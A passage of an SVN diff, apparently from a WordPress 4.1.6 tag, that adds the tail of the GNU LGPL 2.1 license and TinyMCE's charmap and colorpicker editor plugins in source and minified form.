+linked with it, is called a "work that uses the Library".  Such a
+work, in isolation, is not a derivative work of the Library, and
+therefore falls outside the scope of this License.
+
+  However, linking a "work that uses the Library" with the Library
+creates an executable that is a derivative of the Library (because it
+contains portions of the Library), rather than a "work that uses the
+library".  The executable is therefore covered by this License.
+Section 6 states terms for distribution of such executables.
+
+  When a "work that uses the Library" uses material from a header file
+that is part of the Library, the object code for the work may be a
+derivative work of the Library even though the source code is not.
+Whether this is true is especially significant if the work can be
+linked without the Library, or if the work is itself a library.  The
+threshold for this to be true is not precisely defined by law.
+
+  If such an object file uses only numerical parameters, data
+structure layouts and accessors, and small macros and small inline
+functions (ten lines or less in length), then the use of the object
+file is unrestricted, regardless of whether it is legally a derivative
+work.  (Executables containing this object code plus portions of the
+Library will still fall under Section 6.)
+
+  Otherwise, if the work is a derivative of the Library, you may
+distribute the object code for the work under the terms of Section 6.
+Any executables containing that work also fall under Section 6,
+whether or not they are linked directly with the Library itself.
+
+  6. As an exception to the Sections above, you may also combine or
+link a "work that uses the Library" with the Library to produce a
+work containing portions of the Library, and distribute that work
+under terms of your choice, provided that the terms permit
+modification of the work for the customer's own use and reverse
+engineering for debugging such modifications.
+
+  You must give prominent notice with each copy of the work that the
+Library is used in it and that the Library and its use are covered by
+this License.  You must supply a copy of this License.  If the work
+during execution displays copyright notices, you must include the
+copyright notice for the Library among them, as well as a reference
+directing the user to the copy of this License.  Also, you must do one
+of these things:
+
+    a) Accompany the work with the complete corresponding
+    machine-readable source code for the Library including whatever
+    changes were used in the work (which must be distributed under
+    Sections 1 and 2 above); and, if the work is an executable linked
+    with the Library, with the complete machine-readable "work that
+    uses the Library", as object code and/or source code, so that the
+    user can modify the Library and then relink to produce a modified
+    executable containing the modified Library.  (It is understood
+    that the user who changes the contents of definitions files in the
+    Library will not necessarily be able to recompile the application
+    to use the modified definitions.)
+
+    b) Use a suitable shared library mechanism for linking with the
+    Library.  A suitable mechanism is one that (1) uses at run time a
+    copy of the library already present on the user's computer system,
+    rather than copying library functions into the executable, and (2)
+    will operate properly with a modified version of the library, if
+    the user installs one, as long as the modified version is
+    interface-compatible with the version that the work was made with.
+
+    c) Accompany the work with a written offer, valid for at
+    least three years, to give the same user the materials
+    specified in Subsection 6a, above, for a charge no more
+    than the cost of performing this distribution.
+
+    d) If distribution of the work is made by offering access to copy
+    from a designated place, offer equivalent access to copy the above
+    specified materials from the same place.
+
+    e) Verify that the user has already received a copy of these
+    materials or that you have already sent this user a copy.
+
+  For an executable, the required form of the "work that uses the
+Library" must include any data and utility programs needed for
+reproducing the executable from it.  However, as a special exception,
+the materials to be distributed need not include anything that is
+normally distributed (in either source or binary form) with the major
+components (compiler, kernel, and so on) of the operating system on
+which the executable runs, unless that component itself accompanies
+the executable.
+
+  It may happen that this requirement contradicts the license
+restrictions of other proprietary libraries that do not normally
+accompany the operating system.  Such a contradiction means you cannot
+use both them and the Library together in an executable that you
+distribute.
+
+  7. You may place library facilities that are a work based on the
+Library side-by-side in a single library together with other library
+facilities not covered by this License, and distribute such a combined
+library, provided that the separate distribution of the work based on
+the Library and of the other library facilities is otherwise
+permitted, and provided that you do these two things:
+
+    a) Accompany the combined library with a copy of the same work
+    based on the Library, uncombined with any other library
+    facilities.  This must be distributed under the terms of the
+    Sections above.
+
+    b) Give prominent notice with the combined library of the fact
+    that part of it is a work based on the Library, and explaining
+    where to find the accompanying uncombined form of the same work.
+
+  8. You may not copy, modify, sublicense, link with, or distribute
+the Library except as expressly provided under this License.  Any
+attempt otherwise to copy, modify, sublicense, link with, or
+distribute the Library is void, and will automatically terminate your
+rights under this License.  However, parties who have received copies,
+or rights, from you under this License will not have their licenses
+terminated so long as such parties remain in full compliance.
+
+  9. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Library or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Library (or any work based on the
+Library), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Library or works based on it.
+
+  10. Each time you redistribute the Library (or any work based on the
+Library), the recipient automatically receives a license from the
+original licensor to copy, distribute, link with or modify the Library
+subject to these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties with
+this License.
+
+  11. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Library at all.  For example, if a patent
+license would not permit royalty-free redistribution of the Library by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Library.
+
+If any portion of this section is held invalid or unenforceable under any
+particular circumstance, the balance of the section is intended to apply,
+and the section as a whole is intended to apply in other circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system which is
+implemented by public license practices.  Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+  12. If the distribution and/or use of the Library is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Library under this License may add
+an explicit geographical distribution limitation excluding those countries,
+so that distribution is permitted only in or among countries not thus
+excluded.  In such case, this License incorporates the limitation as if
+written in the body of this License.
+
+  13. The Free Software Foundation may publish revised and/or new
+versions of the Lesser General Public License from time to time.
+Such new versions will be similar in spirit to the present version,
+but may differ in detail to address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Library
+specifies a version number of this License which applies to it and
+"any later version", you have the option of following the terms and
+conditions either of that version or of any later version published by
+the Free Software Foundation.  If the Library does not specify a
+license version number, you may choose any version ever published by
+the Free Software Foundation.
+
+  14. If you wish to incorporate parts of the Library into other free
+programs whose distribution conditions are incompatible with these,
+write to the author to ask for permission.  For software which is
+copyrighted by the Free Software Foundation, write to the Free
+Software Foundation; we sometimes make exceptions for this.  Our
+decision will be guided by the two goals of preserving the free status
+of all derivatives of our free software and of promoting the sharing
+and reuse of software generally.
+
+			    NO WARRANTY
+
+  15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
+WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
+EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
+OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
+KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
+LIBRARY IS WITH YOU.  SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
+THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+  16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
+WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
+AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
+FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
+CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
+LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
+RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
+FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
+SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
+DAMAGES.
+
+		     END OF TERMS AND CONDITIONS
+
+           How to Apply These Terms to Your New Libraries
+
+  If you develop a new library, and you want it to be of the greatest
+possible use to the public, we recommend making it free software that
+everyone can redistribute and change.  You can do so by permitting
+redistribution under these terms (or, alternatively, under the terms of the
+ordinary General Public License).
+
+  To apply these terms, attach the following notices to the library.  It is
+safest to attach them to the start of each source file to most effectively
+convey the exclusion of warranty; and each file should have at least the
+"copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the library's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Lesser General Public
+    License as published by the Free Software Foundation; either
+    version 2.1 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Lesser General Public License for more details.
+
+    You should have received a copy of the GNU Lesser General Public
+    License along with this library; if not, write to the Free Software
+    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+
+Also add information on how to contact you by electronic and paper mail.
+
+You should also get your employer (if you work as a programmer) or your
+school, if any, to sign a "copyright disclaimer" for the library, if
+necessary.  Here is a sample; alter the names:
+
+  Yoyodyne, Inc., hereby disclaims all copyright interest in the
+  library `Frob' (a library for tweaking knobs) written by James Random Hacker.
+
+  <signature of Ty Coon>, 1 April 1990
+  Ty Coon, President of Vice
+
+That's all there is to it!
+
+
Index: /tags/4.1.6/src/wp-includes/js/tinymce/plugins/charmap/plugin.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/plugins/charmap/plugin.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/plugins/charmap/plugin.js	(revision 33402)
@@ -0,0 +1,370 @@
+/**
+ * plugin.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/*global tinymce:true */
+
+tinymce.PluginManager.add('charmap', function(editor) {
+	var charmap = [
+		['160', 'no-break space'],
+		['38', 'ampersand'],
+		['34', 'quotation mark'],
+	// finance
+		['162', 'cent sign'],
+		['8364', 'euro sign'],
+		['163', 'pound sign'],
+		['165', 'yen sign'],
+	// signs
+		['169', 'copyright sign'],
+		['174', 'registered sign'],
+		['8482', 'trade mark sign'],
+		['8240', 'per mille sign'],
+		['181', 'micro sign'],
+		['183', 'middle dot'],
+		['8226', 'bullet'],
+		['8230', 'three dot leader'],
+		['8242', 'minutes / feet'],
+		['8243', 'seconds / inches'],
+		['167', 'section sign'],
+		['182', 'paragraph sign'],
+		['223', 'sharp s / ess-zed'],
+	// quotations
+		['8249', 'single left-pointing angle quotation mark'],
+		['8250', 'single right-pointing angle quotation mark'],
+		['171', 'left pointing guillemet'],
+		['187', 'right pointing guillemet'],
+		['8216', 'left single quotation mark'],
+		['8217', 'right single quotation mark'],
+		['8220', 'left double quotation mark'],
+		['8221', 'right double quotation mark'],
+		['8218', 'single low-9 quotation mark'],
+		['8222', 'double low-9 quotation mark'],
+		['60', 'less-than sign'],
+		['62', 'greater-than sign'],
+		['8804', 'less-than or equal to'],
+		['8805', 'greater-than or equal to'],
+		['8211', 'en dash'],
+		['8212', 'em dash'],
+		['175', 'macron'],
+		['8254', 'overline'],
+		['164', 'currency sign'],
+		['166', 'broken bar'],
+		['168', 'diaeresis'],
+		['161', 'inverted exclamation mark'],
+		['191', 'turned question mark'],
+		['710', 'circumflex accent'],
+		['732', 'small tilde'],
+		['176', 'degree sign'],
+		['8722', 'minus sign'],
+		['177', 'plus-minus sign'],
+		['247', 'division sign'],
+		['8260', 'fraction slash'],
+		['215', 'multiplication sign'],
+		['185', 'superscript one'],
+		['178', 'superscript two'],
+		['179', 'superscript three'],
+		['188', 'fraction one quarter'],
+		['189', 'fraction one half'],
+		['190', 'fraction three quarters'],
+	// math / logical
+		['402', 'function / florin'],
+		['8747', 'integral'],
+		['8721', 'n-ary sumation'],
+		['8734', 'infinity'],
+		['8730', 'square root'],
+		['8764', 'similar to'],
+		['8773', 'approximately equal to'],
+		['8776', 'almost equal to'],
+		['8800', 'not equal to'],
+		['8801', 'identical to'],
+		['8712', 'element of'],
+		['8713', 'not an element of'],
+		['8715', 'contains as member'],
+		['8719', 'n-ary product'],
+		['8743', 'logical and'],
+		['8744', 'logical or'],
+		['172', 'not sign'],
+		['8745', 'intersection'],
+		['8746', 'union'],
+		['8706', 'partial differential'],
+		['8704', 'for all'],
+		['8707', 'there exists'],
+		['8709', 'diameter'],
+		['8711', 'backward difference'],
+		['8727', 'asterisk operator'],
+		['8733', 'proportional to'],
+		['8736', 'angle'],
+	// undefined
+		['180', 'acute accent'],
+		['184', 'cedilla'],
+		['170', 'feminine ordinal indicator'],
+		['186', 'masculine ordinal indicator'],
+		['8224', 'dagger'],
+		['8225', 'double dagger'],
+	// alphabetical special chars
+		['192', 'A - grave'],
+		['193', 'A - acute'],
+		['194', 'A - circumflex'],
+		['195', 'A - tilde'],
+		['196', 'A - diaeresis'],
+		['197', 'A - ring above'],
+		['198', 'ligature AE'],
+		['199', 'C - cedilla'],
+		['200', 'E - grave'],
+		['201', 'E - acute'],
+		['202', 'E - circumflex'],
+		['203', 'E - diaeresis'],
+		['204', 'I - grave'],
+		['205', 'I - acute'],
+		['206', 'I - circumflex'],
+		['207', 'I - diaeresis'],
+		['208', 'ETH'],
+		['209', 'N - tilde'],
+		['210', 'O - grave'],
+		['211', 'O - acute'],
+		['212', 'O - circumflex'],
+		['213', 'O - tilde'],
+		['214', 'O - diaeresis'],
+		['216', 'O - slash'],
+		['338', 'ligature OE'],
+		['352', 'S - caron'],
+		['217', 'U - grave'],
+		['218', 'U - acute'],
+		['219', 'U - circumflex'],
+		['220', 'U - diaeresis'],
+		['221', 'Y - acute'],
+		['376', 'Y - diaeresis'],
+		['222', 'THORN'],
+		['224', 'a - grave'],
+		['225', 'a - acute'],
+		['226', 'a - circumflex'],
+		['227', 'a - tilde'],
+		['228', 'a - diaeresis'],
+		['229', 'a - ring above'],
+		['230', 'ligature ae'],
+		['231', 'c - cedilla'],
+		['232', 'e - grave'],
+		['233', 'e - acute'],
+		['234', 'e - circumflex'],
+		['235', 'e - diaeresis'],
+		['236', 'i - grave'],
+		['237', 'i - acute'],
+		['238', 'i - circumflex'],
+		['239', 'i - diaeresis'],
+		['240', 'eth'],
+		['241', 'n - tilde'],
+		['242', 'o - grave'],
+		['243', 'o - acute'],
+		['244', 'o - circumflex'],
+		['245', 'o - tilde'],
+		['246', 'o - diaeresis'],
+		['248', 'o slash'],
+		['339', 'ligature oe'],
+		['353', 's - caron'],
+		['249', 'u - grave'],
+		['250', 'u - acute'],
+		['251', 'u - circumflex'],
+		['252', 'u - diaeresis'],
+		['253', 'y - acute'],
+		['254', 'thorn'],
+		['255', 'y - diaeresis'],
+		['913', 'Alpha'],
+		['914', 'Beta'],
+		['915', 'Gamma'],
+		['916', 'Delta'],
+		['917', 'Epsilon'],
+		['918', 'Zeta'],
+		['919', 'Eta'],
+		['920', 'Theta'],
+		['921', 'Iota'],
+		['922', 'Kappa'],
+		['923', 'Lambda'],
+		['924', 'Mu'],
+		['925', 'Nu'],
+		['926', 'Xi'],
+		['927', 'Omicron'],
+		['928', 'Pi'],
+		['929', 'Rho'],
+		['931', 'Sigma'],
+		['932', 'Tau'],
+		['933', 'Upsilon'],
+		['934', 'Phi'],
+		['935', 'Chi'],
+		['936', 'Psi'],
+		['937', 'Omega'],
+		['945', 'alpha'],
+		['946', 'beta'],
+		['947', 'gamma'],
+		['948', 'delta'],
+		['949', 'epsilon'],
+		['950', 'zeta'],
+		['951', 'eta'],
+		['952', 'theta'],
+		['953', 'iota'],
+		['954', 'kappa'],
+		['955', 'lambda'],
+		['956', 'mu'],
+		['957', 'nu'],
+		['958', 'xi'],
+		['959', 'omicron'],
+		['960', 'pi'],
+		['961', 'rho'],
+		['962', 'final sigma'],
+		['963', 'sigma'],
+		['964', 'tau'],
+		['965', 'upsilon'],
+		['966', 'phi'],
+		['967', 'chi'],
+		['968', 'psi'],
+		['969', 'omega'],
+	// symbols
+		['8501', 'alef symbol'],
+		['982',  'pi symbol'],
+		['8476', 'real part symbol'],
+		['978',  'upsilon - hook symbol'],
+		['8472', 'Weierstrass p'],
+		['8465', 'imaginary part'],
+	// arrows
+		['8592', 'leftwards arrow'],
+		['8593', 'upwards arrow'],
+		['8594', 'rightwards arrow'],
+		['8595', 'downwards arrow'],
+		['8596', 'left right arrow'],
+		['8629', 'carriage return'],
+		['8656', 'leftwards double arrow'],
+		['8657', 'upwards double arrow'],
+		['8658', 'rightwards double arrow'],
+		['8659', 'downwards double arrow'],
+		['8660', 'left right double arrow'],
+		['8756', 'therefore'],
+		['8834', 'subset of'],
+		['8835', 'superset of'],
+		['8836', 'not a subset of'],
+		['8838', 'subset of or equal to'],
+		['8839', 'superset of or equal to'],
+		['8853', 'circled plus'],
+		['8855', 'circled times'],
+		['8869', 'perpendicular'],
+		['8901', 'dot operator'],
+		['8968', 'left ceiling'],
+		['8969', 'right ceiling'],
+		['8970', 'left floor'],
+		['8971', 'right floor'],
+		['9001', 'left-pointing angle bracket'],
+		['9002', 'right-pointing angle bracket'],
+		['9674', 'lozenge'],
+		['9824', 'black spade suit'],
+		['9827', 'black club suit'],
+		['9829', 'black heart suit'],
+		['9830', 'black diamond suit'],
+		['8194', 'en space'],
+		['8195', 'em space'],
+		['8201', 'thin space'],
+		['8204', 'zero width non-joiner'],
+		['8205', 'zero width joiner'],
+		['8206', 'left-to-right mark'],
+		['8207', 'right-to-left mark'],
+		['173',  'soft hyphen']
+	];
+
+	function showDialog() {
+		var gridHtml, x, y, win;
+
+		function getParentTd(elm) {
+			while (elm) {
+				if (elm.nodeName == 'TD') {
+					return elm;
+				}
+
+				elm = elm.parentNode;
+			}
+		}
+
+		gridHtml = '<table role="presentation" cellspacing="0" class="mce-charmap"><tbody>';
+
+		var width = 25;
+		for (y = 0; y < 10; y++) {
+			gridHtml += '<tr>';
+
+			for (x = 0; x < width; x++) {
+				var chr = charmap[y * width + x];
+
+				gridHtml += '<td title="' + chr[1] + '"><div tabindex="-1" title="' + chr[1] + '" role="button">' +
+					(chr ? String.fromCharCode(parseInt(chr[0], 10)) : '&nbsp;') + '</div></td>';
+			}
+
+			gridHtml += '</tr>';
+		}
+
+		gridHtml += '</tbody></table>';
+
+		var charMapPanel = {
+			type: 'container',
+			html: gridHtml,
+			onclick: function(e) {
+				var target = e.target;
+
+				if (target.tagName == 'TD') {
+					target = target.firstChild;
+				}
+
+				if (target.tagName == 'DIV') {
+					editor.execCommand('mceInsertContent', false, target.firstChild.data);
+
+					if (!e.ctrlKey) {
+						win.close();
+					}
+				}
+			},
+			onmouseover: function(e) {
+				var td = getParentTd(e.target);
+
+				if (td) {
+					win.find('#preview').text(td.firstChild.firstChild.data);
+				}
+			}
+		};
+
+		win = editor.windowManager.open({
+			title: "Special character",
+			spacing: 10,
+			padding: 10,
+			items: [
+				charMapPanel,
+				{
+					type: 'label',
+					name: 'preview',
+					text: ' ',
+					style: 'font-size: 40px; text-align: center',
+					border: 1,
+					minWidth: 100,
+					minHeight: 80
+				}
+			],
+			buttons: [
+				{text: "Close", onclick: function() {
+					win.close();
+				}}
+			]
+		});
+	}
+
+	editor.addButton('charmap', {
+		icon: 'charmap',
+		tooltip: 'Special character',
+		onclick: showDialog
+	});
+
+	editor.addMenuItem('charmap', {
+		icon: 'charmap',
+		text: 'Special character',
+		onclick: showDialog,
+		context: 'insert'
+	});
+});
Index: /tags/4.1.6/src/wp-includes/js/tinymce/plugins/charmap/plugin.min.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/plugins/charmap/plugin.min.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/plugins/charmap/plugin.min.js	(revision 33402)
@@ -0,0 +1,1 @@
+tinymce.PluginManager.add("charmap",function(a){function b(){function b(a){for(;a;){if("TD"==a.nodeName)return a;a=a.parentNode}}var d,e,f,g;d='<table role="presentation" cellspacing="0" class="mce-charmap"><tbody>';var h=25;for(f=0;10>f;f++){for(d+="<tr>",e=0;h>e;e++){var i=c[f*h+e];d+='<td title="'+i[1]+'"><div tabindex="-1" title="'+i[1]+'" role="button">'+(i?String.fromCharCode(parseInt(i[0],10)):"&nbsp;")+"</div></td>"}d+="</tr>"}d+="</tbody></table>";var j={type:"container",html:d,onclick:function(b){var c=b.target;"TD"==c.tagName&&(c=c.firstChild),"DIV"==c.tagName&&(a.execCommand("mceInsertContent",!1,c.firstChild.data),b.ctrlKey||g.close())},onmouseover:function(a){var c=b(a.target);c&&g.find("#preview").text(c.firstChild.firstChild.data)}};g=a.windowManager.open({title:"Special character",spacing:10,padding:10,items:[j,{type:"label",name:"preview",text:" ",style:"font-size: 40px; text-align: center",border:1,minWidth:100,minHeight:80}],buttons:[{text:"Close",onclick:function(){g.close()}}]})}var c=[["160","no-break space"],["38","ampersand"],["34","quotation mark"],["162","cent sign"],["8364","euro sign"],["163","pound sign"],["165","yen sign"],["169","copyright sign"],["174","registered sign"],["8482","trade mark sign"],["8240","per mille sign"],["181","micro sign"],["183","middle dot"],["8226","bullet"],["8230","three dot leader"],["8242","minutes / feet"],["8243","seconds / inches"],["167","section sign"],["182","paragraph sign"],["223","sharp s / ess-zed"],["8249","single left-pointing angle quotation mark"],["8250","single right-pointing angle quotation mark"],["171","left pointing guillemet"],["187","right pointing guillemet"],["8216","left single quotation mark"],["8217","right single quotation mark"],["8220","left double quotation mark"],["8221","right double quotation mark"],["8218","single low-9 quotation mark"],["8222","double low-9 quotation mark"],["60","less-than sign"],["62","greater-than sign"],["8804","less-than or equal to"],["8805","greater-than or equal to"],["8211","en dash"],["8212","em dash"],["175","macron"],["8254","overline"],["164","currency sign"],["166","broken bar"],["168","diaeresis"],["161","inverted exclamation mark"],["191","turned question mark"],["710","circumflex accent"],["732","small tilde"],["176","degree sign"],["8722","minus sign"],["177","plus-minus sign"],["247","division sign"],["8260","fraction slash"],["215","multiplication sign"],["185","superscript one"],["178","superscript two"],["179","superscript three"],["188","fraction one quarter"],["189","fraction one half"],["190","fraction three quarters"],["402","function / florin"],["8747","integral"],["8721","n-ary sumation"],["8734","infinity"],["8730","square root"],["8764","similar to"],["8773","approximately equal to"],["8776","almost equal to"],["8800","not equal to"],["8801","identical to"],["8712","element of"],["8713","not an element of"],["8715","contains as member"],["8719","n-ary product"],["8743","logical and"],["8744","logical or"],["172","not sign"],["8745","intersection"],["8746","union"],["8706","partial differential"],["8704","for all"],["8707","there exists"],["8709","diameter"],["8711","backward difference"],["8727","asterisk operator"],["8733","proportional to"],["8736","angle"],["180","acute accent"],["184","cedilla"],["170","feminine ordinal indicator"],["186","masculine ordinal indicator"],["8224","dagger"],["8225","double dagger"],["192","A - grave"],["193","A - acute"],["194","A - circumflex"],["195","A - tilde"],["196","A - diaeresis"],["197","A - ring above"],["198","ligature AE"],["199","C - cedilla"],["200","E - grave"],["201","E - acute"],["202","E - circumflex"],["203","E - diaeresis"],["204","I - grave"],["205","I - acute"],["206","I - circumflex"],["207","I - diaeresis"],["208","ETH"],["209","N - tilde"],["210","O - grave"],["211","O - acute"],["212","O - circumflex"],["213","O - tilde"],["214","O - diaeresis"],["216","O - slash"],["338","ligature OE"],["352","S - caron"],["217","U - grave"],["218","U - acute"],["219","U - circumflex"],["220","U - diaeresis"],["221","Y - acute"],["376","Y - diaeresis"],["222","THORN"],["224","a - grave"],["225","a - acute"],["226","a - circumflex"],["227","a - tilde"],["228","a - diaeresis"],["229","a - ring above"],["230","ligature ae"],["231","c - cedilla"],["232","e - grave"],["233","e - acute"],["234","e - circumflex"],["235","e - diaeresis"],["236","i - grave"],["237","i - acute"],["238","i - circumflex"],["239","i - diaeresis"],["240","eth"],["241","n - tilde"],["242","o - grave"],["243","o - acute"],["244","o - circumflex"],["245","o - tilde"],["246","o - diaeresis"],["248","o slash"],["339","ligature oe"],["353","s - caron"],["249","u - grave"],["250","u - acute"],["251","u - circumflex"],["252","u - diaeresis"],["253","y - acute"],["254","thorn"],["255","y - diaeresis"],["913","Alpha"],["914","Beta"],["915","Gamma"],["916","Delta"],["917","Epsilon"],["918","Zeta"],["919","Eta"],["920","Theta"],["921","Iota"],["922","Kappa"],["923","Lambda"],["924","Mu"],["925","Nu"],["926","Xi"],["927","Omicron"],["928","Pi"],["929","Rho"],["931","Sigma"],["932","Tau"],["933","Upsilon"],["934","Phi"],["935","Chi"],["936","Psi"],["937","Omega"],["945","alpha"],["946","beta"],["947","gamma"],["948","delta"],["949","epsilon"],["950","zeta"],["951","eta"],["952","theta"],["953","iota"],["954","kappa"],["955","lambda"],["956","mu"],["957","nu"],["958","xi"],["959","omicron"],["960","pi"],["961","rho"],["962","final sigma"],["963","sigma"],["964","tau"],["965","upsilon"],["966","phi"],["967","chi"],["968","psi"],["969","omega"],["8501","alef symbol"],["982","pi symbol"],["8476","real part symbol"],["978","upsilon - hook symbol"],["8472","Weierstrass p"],["8465","imaginary part"],["8592","leftwards arrow"],["8593","upwards arrow"],["8594","rightwards arrow"],["8595","downwards arrow"],["8596","left right arrow"],["8629","carriage return"],["8656","leftwards double arrow"],["8657","upwards double arrow"],["8658","rightwards double arrow"],["8659","downwards double arrow"],["8660","left right double arrow"],["8756","therefore"],["8834","subset of"],["8835","superset of"],["8836","not a subset of"],["8838","subset of or equal to"],["8839","superset of or equal to"],["8853","circled plus"],["8855","circled times"],["8869","perpendicular"],["8901","dot operator"],["8968","left ceiling"],["8969","right ceiling"],["8970","left floor"],["8971","right floor"],["9001","left-pointing angle bracket"],["9002","right-pointing angle bracket"],["9674","lozenge"],["9824","black spade suit"],["9827","black club suit"],["9829","black heart suit"],["9830","black diamond suit"],["8194","en space"],["8195","em space"],["8201","thin space"],["8204","zero width non-joiner"],["8205","zero width joiner"],["8206","left-to-right mark"],["8207","right-to-left mark"],["173","soft hyphen"]];a.addButton("charmap",{icon:"charmap",tooltip:"Special character",onclick:b}),a.addMenuItem("charmap",{icon:"charmap",text:"Special character",onclick:b,context:"insert"})});
Index: /tags/4.1.6/src/wp-includes/js/tinymce/plugins/colorpicker/plugin.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/plugins/colorpicker/plugin.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/plugins/colorpicker/plugin.js	(revision 33402)
@@ -0,0 +1,112 @@
+/**
+ * plugin.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/*global tinymce:true */
+
+tinymce.PluginManager.add('colorpicker', function(editor) {
+	function colorPickerCallback(callback, value) {
+		function setColor(value) {
+			var color = new tinymce.util.Color(value), rgb = color.toRgb();
+
+			win.fromJSON({
+				r: rgb.r,
+				g: rgb.g,
+				b: rgb.b,
+				hex: color.toHex().substr(1)
+			});
+
+			showPreview(color.toHex());
+		}
+
+		function showPreview(hexColor) {
+			win.find('#preview')[0].getEl().style.background = hexColor;
+		}
+
+		var win = editor.windowManager.open({
+			title: 'Color',
+			items: {
+				type: 'container',
+				layout: 'flex',
+				direction: 'row',
+				align: 'stretch',
+				padding: 5,
+				spacing: 10,
+				items: [
+					{
+						type: 'colorpicker',
+						value: value,
+						onchange: function() {
+							var rgb = this.rgb();
+
+							if (win) {
+								win.find('#r').value(rgb.r);
+								win.find('#g').value(rgb.g);
+								win.find('#b').value(rgb.b);
+								win.find('#hex').value(this.value().substr(1));
+								showPreview(this.value());
+							}
+						}
+					},
+					{
+						type: 'form',
+						padding: 0,
+						labelGap: 5,
+						defaults: {
+							type: 'textbox',
+							size: 7,
+							value: '0',
+							flex: 1,
+							spellcheck: false,
+							onchange: function() {
+								var colorPickerCtrl = win.find('colorpicker')[0];
+								var name, value;
+
+								name = this.name();
+								value = this.value();
+
+								if (name == "hex") {
+									value = '#' + value;
+									setColor(value);
+									colorPickerCtrl.value(value);
+									return;
+								}
+
+								value = {
+									r: win.find('#r').value(),
+									g: win.find('#g').value(),
+									b: win.find('#b').value()
+								};
+
+								colorPickerCtrl.value(value);
+								setColor(value);
+							}
+						},
+						items: [
+							{name: 'r', label: 'R', autofocus: 1},
+							{name: 'g', label: 'G'},
+							{name: 'b', label: 'B'},
+							{name: 'hex', label: '#', value: '000000'},
+							{name: 'preview', type: 'container', border: 1}
+						]
+					}
+				]
+			},
+			onSubmit: function() {
+				callback('#' + this.toJSON().hex);
+			}
+		});
+
+		setColor(value);
+	}
+
+	if (!editor.settings.color_picker_callback) {
+		editor.settings.color_picker_callback = colorPickerCallback;
+	}
+});
Index: /tags/4.1.6/src/wp-includes/js/tinymce/plugins/colorpicker/plugin.min.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/plugins/colorpicker/plugin.min.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/plugins/colorpicker/plugin.min.js	(revision 33402)
@@ -0,0 +1,1 @@
